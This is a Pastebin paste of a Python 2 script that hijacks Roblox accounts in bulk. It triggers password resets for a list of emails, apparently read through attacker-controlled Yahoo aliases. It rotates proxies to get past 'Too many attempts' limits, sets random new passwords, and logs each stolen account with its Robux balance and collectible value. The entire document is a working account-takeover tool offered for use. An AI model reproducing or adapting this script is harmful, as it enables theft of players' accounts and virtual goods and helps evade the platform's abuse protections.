Advertisement
Guest User

shit code #1

a guest
Mar 29th, 2018
1,248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.17 KB | None | 0 0
  1. import requests, json, yaa, re, time, random, os, string, threading
  2. from bs4 import BeautifulSoup
  3.  
  4. ylogins = ['username:password','username2:password2']
  5. ylist = []
  6. oproxies = []
  7. proxies = []
  8. check = []
  9. threads = []
  10.  
  11. class Lamia:
  12.     global check, oproxies
  13.     def __init__(self, yahoo):
  14.         self.yahoo = yahoo
  15.         self.onproxy = getproxy()
  16.         self.start()
  17.     def start(self):
  18.         while len(check)>0:
  19.             email = check[0]
  20.             check.pop(0)
  21.             self.yahoo.new_alias(email.split("@")[0])
  22.             resetlink = self.getreset(email)
  23.             if resetlink:
  24.                 form = None
  25.                 while not form:
  26.                     print("getting form for %s " % email)
  27.                     try:form = self.rs.get(resetlink).text
  28.                     except:
  29.                         self.onproxy = getproxy()
  30.                         self.rs.proxies.update({'https':self.onproxy})
  31.                 soup = BeautifulSoup(form,'lxml')
  32.                 if not 'Choose an Account' in form:
  33.                     self.saveaccount(resetlink,soup.find('input',{'name':'Username'})['value'],soup.find('input',{'name':'UserId'})['value'],email)
  34.                 else:
  35.                     count = 0
  36.                     for user in soup.findAll(True,{'class':'account-linked-to-email'}):
  37.                         count+=1
  38.                         if count<6:
  39.                             if not resetlink: resetlink=self.getreset(email)
  40.                             self.saveaccount(resetlink,user['data-username'],user['data-user-id'],email)
  41.                             resetlink = None
  42.                     if count>=6:
  43.                         data = "Unable to get all accounts for %s (had %s accounts)" % (email,str(count))
  44.                         print data
  45.                         save(data)
  46.             self.yahoo.del_alias()
  47.     def getreset(self, email):
  48.         global oproxies
  49.         self.rs = requests.Session()
  50.         self.rs.proxies.update({'https':self.onproxy})
  51.         self.rs.headers.update({'User-Agent': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36'})
  52.         try:res = json.loads(self.rs.post('https://www.roblox.com/login/getpasswordbyemail',data={'email':email},timeout=20).text)
  53.         except:res = {'success':False,'message':'Bad proxy'}
  54.         print "get reset %s %s %s %s" % (email, res['success'],res['message'],self.onproxy)
  55.         if res['success']:
  56.             reset_email, tries = None, 0
  57.             while tries<3 and not reset_email:
  58.                 time.sleep(4)
  59.                 print "attempting to get reset for %s" % email
  60.                 reset_email = self.yahoo.get_email("Roblox Account Password Reset")
  61.                 tries += 1
  62.             if reset_email:
  63.                 return re.findall(r'(https[^\n]*)', reset_email)[0]
  64.             else: return self.getreset(email)
  65.         elif 'Too many attempts' in res['message'] or 'Bad proxy' in res['message']:
  66.             if 'Bad proxy' in res['message']:
  67.                 oproxies.remove(self.onproxy)
  68.             self.onproxy = getproxy()
  69.             return self.getreset(email)
  70.     def saveaccount(self, link, username, userid, email):
  71.         print "attempting to save %s - %s" % (username, email)
  72.         password = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(20))
  73.         tries, success = 0, False
  74.         while tries<3 and not success:
  75.             tries+=1
  76.             try: self.rs.post(link,data={'UserId':userid,'Version':'2','Username':username,'NewPassword':password,'NewPasswordRepeated':password,'Ticket':BeautifulSoup(self.rs.get(link).text,'lxml').find('input',{'name':'Ticket'})['value'],'IsEmailVerified':'False','IsTwoStepVerificationEnabled':'False'},timeout=30)
  77.             except: pass
  78.             try: robux = self.rs.get("http://api.roblox.com/currency/balance").text
  79.             except: robux = 'errors'
  80.             if 'errors' in robux:
  81.                 print "failed to reset %s" % username
  82.                 self.onproxy = getproxy()
  83.                 self.rs.proxies.update({'https':self.onproxy})
  84.             else:
  85.                 success = True
  86.                 robux = str(json.loads(robux)['robux'])
  87.                 rap = str(getrap(userid))
  88.                 data = ':'.join([username,userid,password,email,robux,rap])
  89.                 print data
  90.                 save(data)
  91.         if not success:
  92.             self.saveaccount(re.findall(r'(https[^\n]*)', self.getreset(email))[0], username, userid, email)
  93.  
  94. def getrap(userid):
  95.     totalrap = 0
  96.     try:
  97.         for at in ['Hat','Face','Gear','HairAccessory','FaceAccessory','NeckAccessory','ShoulderAccessory','FrontAccessory','BackAccessory','WaistAccessory']:
  98.             cursor = 1
  99.             while cursor:
  100.                 url = "https://inventory.roblox.com/v1/users/%s/assets/collectibles?assetType=%s&sortOrder=Asc&limit=100"%(str(userid),at)
  101.                 if str(cursor)!='1':url+="&cursor="+cursor
  102.                 j = json.loads(requests.get(url).text)
  103.                 cursor = j['nextPageCursor']
  104.                 for item in j['data']:
  105.                     if item['recentAveragePrice']: totalrap +=item['recentAveragePrice']
  106.     except: totalrap = "N/A"
  107.     return totalrap
  108.  
  109. def save(data):
  110.     with open('mlamia-output.txt','a') as file:
  111.         file.write(data+"\n")
  112.  
  113. def getproxy():
  114.     global proxies, oproxies
  115.     if len(proxies)>0:
  116.         proxy = proxies[0]
  117.         proxies.pop(0)
  118.     else:
  119.         proxies = oproxies[:]
  120.         proxy = getproxy()
  121.     return proxy
  122.  
  123. for line in open("mrco.txt","r").readlines():
  124.     check.append(line.strip('\n'))
  125.  
  126. for line in open("proxies.txt","r").readlines():
  127.     oproxies.append(line.strip('\n'))
  128. proxies = oproxies[:]
  129.  
  130. for login in ylogins:
  131.     up = login.split(":")
  132.     ny = yaa.new()
  133.     ny.login(up[0],up[1])
  134.     ylist.append(ny)
  135.  
  136. for i in xrange(len(ylist)):
  137.     threads.append(threading.Thread(target=Lamia,args=(ylist[i],)))
  138.     threads[i].setDaemon(True)
  139.     threads[i].start()
  140.     time.sleep(0.25)
  141. print str(len(threads)) + ' threads started...'
  142. while not len(threading.enumerate())-1==0:
  143.     time.sleep(5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement